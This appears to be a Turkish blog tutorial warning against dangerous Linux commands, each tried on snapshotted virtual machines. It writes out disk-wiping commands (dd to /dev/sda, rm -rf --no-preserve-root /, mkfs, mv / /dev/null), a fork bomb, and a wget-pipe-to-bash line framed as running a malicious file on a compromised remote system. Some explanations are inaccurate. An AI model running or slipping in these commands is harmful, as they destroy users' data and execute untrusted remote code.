En Tehlikeli Linux Komutları

Aşağıda asla çalıştırmamanız gereken linux komutları yer almaktadır.

NOT: Aşağıdaki komutlar sanal makinalar üzerinde snapshot alınarak sırayla denenmiştir ve sistem her bozulduğunda sanal makina snapshot'a restore edilerek düzeltilmiştir.

1. Hard Diskin Üzerine Yazma

```
> echo "1" > /dev/sda
```

Yukarıdaki komut ile 1 değeri sda'nın (yani hdd'nin) üzerine overwrite edilecektir. Böylece hdd komple silinip yerine sadece 1 sayısı koyulacağından format atmış gibi olacağız. Dolayısıyla işletim sistemi bir daha başlayamayacaktır.

(+) Bu olay kali-linux-1.0.4-amd64.iso denenmiştir ve ardından sistem bir daha başlayamamıştır. Yani komut başarıyla çalıştırılabilmiştir.

2. Hard Diski Silme (I)

Bu komut hard diskimizi gerçek anlamıyla sıfırlarla doldurur. Her ne kadar bu komut sisteminizi baştan kurmak istiyorsanız kullanışlı görünse de hard diskinizi bu şekilde silmek pek de iyi bir fikir değildir.

```
dd if=/dev/zero of=/dev/sda
```

dd komutu low level bir kopyalama komutudur. if parametresi ile kopyalanacak veri belirtilirken of parametresi ile de verilerin kopyalanacağı yer belirtilir. Örrnekte verilen /dev/zero sonsuz bir sıfır akışı oluşturan linux komutudur. Dolayısıyla sonsuz sıfır akışı sda'ya kopyalanacaktır. Böylece hard diskimizde ne var ne yok her şey uçacaktır.

(+) Bu olay kali-linux-1.0.4-amd64.iso'da ve metasploitable'da denenmiştir ve ardından sistem bir daha başlayamamıştır. Yani komut başarıyla çalıştırılabilmiştir.

3. Hard Diski Silme (II)

Aşağıdaki kod ile hard diskteki işletim sistemi ve kişisel belgelere dair ne varsa komple silinir.

```
> rm -rf /
```

Normalde yukarıdaki kod eğer işletim sistemi tarafından önlem alınmamışsa direk çalışır. Fakat kali şu uyarıyı verdiğinden

```
Output:
        rm : it is dangerous to operate recursively on '/'
        rm : use --no-preserve-root to override this failsafe
```

çıktıda önerilen --no-preserve-root parametresini aşağıdaki gibi kullanarak

```
> rm -rf --no-preserve-root  /
```

sistemi hdd'den komple silebiliriz.

(+) Bu olay kali-linux-1.0.4-amd64.iso'da denenmiştir ve ardından sistem bir daha başlayamamıştır. Yani komut başarıyla çalıştırılabilmiştir.

4. Sonsuz Recursive Dallanma ile Sistemi Kitleme

Aşağıdaki komut iki nokta üst üst fonksiyonu tanımlamasında bulunmaktadır. İki nokta üst üste fonksiyonu içerisinde ise kendisini çağıran iki nokta üst üste fonksiyonları bulunmakta dır. Exit case yer almadığından bu recursive fonksiyon sonsuza dek dallanacaktır.

```
> :()(:|:&);:
```

Yukarıdaki kodu anlamlandırabilmek için açalım:

```
:() (
   : | : &                  // İlk recursive çağırım | ikinci recursive çağırım
)
:()                         // Fonksiyon çağırılır
```

Görüldüğü üzere önce iki nokta üst üste fonksiyonu tanımlanmıştır. Sonra (en son satırda) bu fonksiyon çağrılmıştır. Fonksiyon tanımlaması içerisine iki tane kendini çağıran fonksiyon konmuştur. Bu fonksiyonlardan ilki output'unu üretip sağındaki fonksiyona pipe ile aktarabilmek için sürekli dallanacaktır. Bu dallanmalar sonucu hafıza (RAM) işgal edilecektir ve sistem kısa bir süre içerisinde kitlenecektir. Sistem tekrar başlatılana kadar kendine gelemeyecektir.

(+) Bu olay kali-linux-1.0.4-amd64.iso'da denenmiştir ve sistem kitlenmiştir. Sistemi tekrar başlatınca sorun düzelmiştir. Yani komut başarıyla çalıştırılabilmiştir.

5. Uzak Sistemde Zararlı Yazılım Çalıştırma

Bir sistemin komut satırı komut satırımıza geldiğinde hedef sisteme bir dosya atmak için wget kullanabiliriz. Örneğin diyelim ki zararli adlı bir dosya oluşturduk ve içine de şunu koyduk:

```
zararli
        ls -l -a
```

Uzak sistemin bilgisayarına zararli dosyasını aşağıdaki kabuk koduyla indiririz.

```
> wget http://www.includekarabuk.com/zararli -O- | bash
```

-O- parametresi inen dosyayı bir dosya olarak sisteme kaydetmektense dosya içeriğini stdout'a vermeye yarar. Dolayısıyla ls -l -a kodu pipeline ile bash komutuna input olacaktır. Bash kabuğu ise aldığı içeriği çalıştırmayı deneyecektir. Yani tıpkı terminal ekranına içeriği giriyormuşuz gibi çalıştıracaktır ve çıktıyı ekrana basacaktır. Yukarıdaki kabuk kodlaması sonrası çıktı olarak ekrana şu gelecektir:

Output:

```
-rw-rw-r--    1 root root     3067 Ara 21  2015 .bash_history
drwxrwxr-x    4 root root     4096 Eyl 23 21:14 .bashrc
-rw-rw-r--    1 root root    58922 Eki 25 14:25 .cache
-rw-rw-r--    1 root root   372224 Eyl 19 16:23 .config
-rw-rw-r--    1 root root        0 Oca 17  2016 .dbus
-rw-rw-r--    1 root root      169 Ağu  8 20:12 Desktop
-rwxrwxrwx    1 root root        0 Ara  1  2015 .gconf
-rwxrwxrwx    1 root root        0 Kas  7  2015 .gnome
-rw-rw-r--    1 root root      157 Eki 23 22:29 .mozilla

…
```

Görüldüğü üzere zararli dosyasının içeriği bash kabuğunun komut satırında çalıştırılmıştır.

NOT: Uzak sistemde zararli dosyasını çalıştırmak için önce dosyayı indirip sonra

```
> ./zararli
```

şeklinde bir kullanım methodu da güdülebilirdi. İkisi de aynı çıktıyı ekrana verecektir.

(+) Bu olay kali-linux-1.0.4-amd64.iso'da denenmiştir ve başarıyla uygulanmıştır.

6. Hard Diski Çöpe Atma

Bazı özel nedenlerden ötürü Linux’ta üzerine yazılı olan tüm verileri çöpe atan /dev/null adında bir dosya vardır. Bu dosyayı bir kara delik olarak düşünebiliriz. Bu dosyaya atılan her şey kalıcı olarak silinir.

```
> mv  /   /dev/null
```

Yukarıdaki komut sistemin kök dizini olan "/" i /dev/null kara deliğine taşımaya çalışır. Bu geçerli bir komuttur ama sonucu yıkıcıdır. Hard disk bu çöp kutusuna atıldığında geriye ne işletim sistemine dair ne de kişisel belgelere dair bir şey kalmaz. Bunu yaparsanız sisteminiz bir daha başlayamaz.

(+) Bu olay kali-linux-1.0.4-amd64.iso'da ve metasploitable'da denenmiştir ve fakat başarılı olunamamıştır. Komut sonrası çıktı olarak şu gelmiştir:

Output:

```
mv : target '/dev/null' is not a directory.
```

Yani taşınacak dosyalar ancak bir dizin içine kopyalanabilir diyor. Dosya içine kopyalanamaz diyor.

7. Hard Diski Formatlama

Bu terminal komutu özellikle Linux kullanmaya yeni başlayanlar için tehlikelidir, çünkü tekrarlı silme büyük bir yanlıştır.

> mkfs.ext3 /dev/sda

Bu Linux komutu ext3 dosya sistemini kullanarak hard diski tekrar tekrar formatlar. Dolayısıyla sisteminizi telafi edilemez bir duruma sokar. Çünkü artık çeşitli taklalar atarak geçmiş verileri kurtarma imkanı elinizden gitmiş olur.

(+) Bu olay kali-linux-1.0.4-amd64.iso'da ve metasploitable'da denenmiştir ve fakat başarılı olunamamıştır. Komut sonrası çıktı olarak şu gelmiştir:

Output:
/dev/sda is apparently in use by the system; will not make a file system here!

Kaynak

http://www.ihs.com.tr/blog/en-tehlikeli-10-linux-komutu/